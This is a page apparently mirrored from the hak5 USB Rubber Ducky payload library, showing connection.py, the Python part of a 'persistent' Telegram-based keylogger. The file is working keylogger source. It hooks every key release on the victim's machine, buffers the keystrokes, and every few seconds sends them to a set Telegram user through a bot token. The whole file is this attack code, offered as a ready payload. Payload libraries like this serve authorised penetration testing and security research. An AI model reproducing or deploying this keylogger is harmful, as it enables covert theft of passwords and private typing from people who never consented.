Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/Persistent_Keylogger-Telegram_Based/connection.py
3018 views
1
from telebot import TeleBot
2
from time import sleep
3
import keyboard
4
from threading import Thread,RLock,Condition
5
6
# Set here the Telegram bot token
7
BOT_TOKEN = ""
8
bot = TeleBot(BOT_TOKEN)
9
10
class Log:
11
def __init__(self):
12
self.log = ""
13
self.lock = RLock()
14
self.condition = Condition(self.lock)
15
# Set here the Telegram user id
16
self.id = "0123456789"
17
18
def add_to_log(self, log):
19
with self.lock:
20
#print("Adding to log...")
21
self.log += log
22
self.condition.notify_all()
23
24
def send_log(self):
25
with self.lock:
26
#print("Sending to bot...")
27
while self.log == "":
28
#print("Waiting resources...")
29
self.condition.wait()
30
#print("Sending message!")
31
bot.send_message(self.id, self.log)
32
self.log = ""
33
34
class Keylogger(Thread):
35
36
def __init__(self, log):
37
super().__init__()
38
self.log = log
39
40
def callback(self, event):
41
name = event.name
42
if len(name) > 1:
43
if name == "space":
44
name = "[SPACE]"
45
elif name == "enter":
46
name = "[ENTER]\n"
47
elif name == "decimal":
48
name = "."
49
else:
50
name = name.replace(" ", "_")
51
name = f"[{name.upper()}]"
52
#print(f"Keylogger add to log: {name}")
53
self.log.add_to_log(name)
54
55
def run(self):
56
keyboard.on_release(callback=self.callback)
57
58
class Sender(Thread):
59
60
def __init__(self, log):
61
super().__init__()
62
self.log = log
63
64
def run(self):
65
while True:
66
sleep(5)
67
#print("Sender send log")
68
self.log.send_log()
69
70
71
log = Log()
72
73
keylogger = Keylogger(log)
74
keylogger.start()
75
76
sender = Sender(log)
77
sender.start()
78
79
bot.infinity_polling()
80
81